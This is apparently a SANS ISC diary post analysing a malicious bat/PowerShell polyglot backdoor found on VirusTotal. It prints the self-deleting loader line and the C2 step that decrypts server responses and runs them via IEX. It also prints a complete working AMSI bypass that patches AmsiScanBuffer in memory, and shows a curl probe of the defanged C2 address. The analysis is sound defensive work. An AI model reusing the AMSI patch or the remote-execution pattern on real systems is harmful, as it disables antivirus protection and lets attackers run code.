Threat Level: green Handler on Duty: Didier Stevens

SANS ISC: InfoSec Handlers Diary Blog InfoSec Handlers Diary Blog

Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!

Live Patching Windows API Calls Using PowerShell

Published: 2020-11-25
Last Updated: 2020-11-25 08:00:57 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

It's amazing how attackers can be imaginative when it comes to protecting themselves and preventing security controls to do their job. Here is an example of a malicious PowerShell script that patches live a DLL function to change the way it works (read: "to make it NOT work"). This is not a new technique but it has been a while that I did not find it so, it deserves a quick review.

The original script has been spotted on Virustotal (SHA256:b2598b28b19d0f7e705535a2779018ecf1b73954c065a3d721589490d068fb54)[1] with a nice low score (3/60). The original file is interesting because it's a "bat" command line script and a PowerShell script at the same time:

# 2>NUL & @CLS & PUSHD "%~dp0" & "%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -noProfile -ExecutionPolicy bypass "[IO.File]::ReadAllText('%~f0')|iex" & DEL "%~f0" & POPD /B

The environment variable '%~f0' will expand to the complete path of the script (ex: "C:\Temp\malicious.bat"). It is passed to PowerShell which will ignore the first line (starting with the '#'). The script will be deleted once PowerShell completed. Note, '%~dp0' will expand to the drive letter and path of that batch file.

The script itself is obfuscated inside a Base64-encoded string. First, it's a backdoor that tries to execute commands returned by the contacted C2 server. The HTTP connection is built in a specific way to talk to the server:

It requires a specific User-Agent:

$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';

It tries to connect through the proxy configured in the system:

$ebdd.ProxY.CreDeNTIALS = [SyStEM.Net.CredeNTiAlCAche]::DeFauLTNETWoRKCreDeNtIalS;

A cookie is required:


The C2 address is obfuscated:


The C2 server is hxxp://

Data received by the C2 are decrypted and executed via Invoke-Command (so, we expect PowerShell code)


-JoiN[CHAr[]](& $R $DatA ($IV+$K))|IEX

But the most interesting part of the script was the technique implemented to prevent the PowerShell script to be blocked by the antivirus.

First, it tries to disable ScriptBlockLogging[2]:


Then, it tries to disable the API call AmsiScanBuffer() provided by amsi.dll. How? By patching the function and overwriting the beginning of the code with a simple return code to disable the function:

$MethodDefinition = "
  [DllImport(`"kernel32`")]public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
  [DllImport(`"kernel32`")]public static extern IntPtr GetModuleHandle(string lpModuleName);
  [DllImport(`"kernel32`")]public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru;
$ABSD = 'AmsiS'+'canBuffer';
$handle = [Win32.Kernel32]::GetModuleHandle('amsi.dll');
[IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress($handle, $ABSD);
[UInt32]$Size = 0x5;
[UInt32]$ProtectFlag = 0x40;
[UInt32]$OldProtectFlag = 0;
[Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag);
$buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3);
[system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6); 

Step 1: the script tries to locate the address of the function AmsiScanBuffer() in memory. To achieve this, it used the classic combination of GetModuleHandle() and GetProcAddress(). 

Step 2: the memory protection (where starts the function) is changed to allow writing executable code (the key flag is 0x40 or 'PAGE_EXECUTE_READWRITE')

Step 3: the memory location is overwritten with a buffer of six bytes: 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3.

This suite of bytes is the following code:

0x0000000000000000:  B8 57 00 07 80    mov eax, 0x80070057
0x0000000000000005:  C3                ret 

The value 0x80070057 is placed into the EAX register (which is used to hold the return value of the function). This value is 'E_INVALIDARG'. Then, the function immediately returns to the caller with the 'ret' instruction. This technique implements the bypass of the antivirus scan...

As I said, this technique is not new and has already been discussed previously (around 2019) but it's interesting to see how attackers re-use always and always good old techniques.

The fun part of the backdoor? I was not able to connect to it. The C2 seems to be an SSH server. Or did I miss something?

$ curl -v -A 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko' -H 'Cookie: session=i9jI6+TRpy75U2v68M56EtGXOWE=' hxxp://3[.]128[.]107[.]74:15430/admin/get.php
*   Trying 3[.]128[.]107[.]74...
* Connected to 3[.]128[.]107[.]74 (3[.]128[.]107[.]74) port 15430 (#0)
> GET /admin/get.php HTTP/1.1
> Host: 3[.]128[.]107[.]74:15430
> User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
> Referer:
> Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/, application/xaml+xml, */*
> Accept-Language: en-us
> Connection: Keep-Alive
> Cookie: session=i9jI6+TRpy75U2v68M56EtGXOWE=
SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u6
Protocol mismatch.
* Closing connection 0


Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant

0 comment(s)
Diary Archives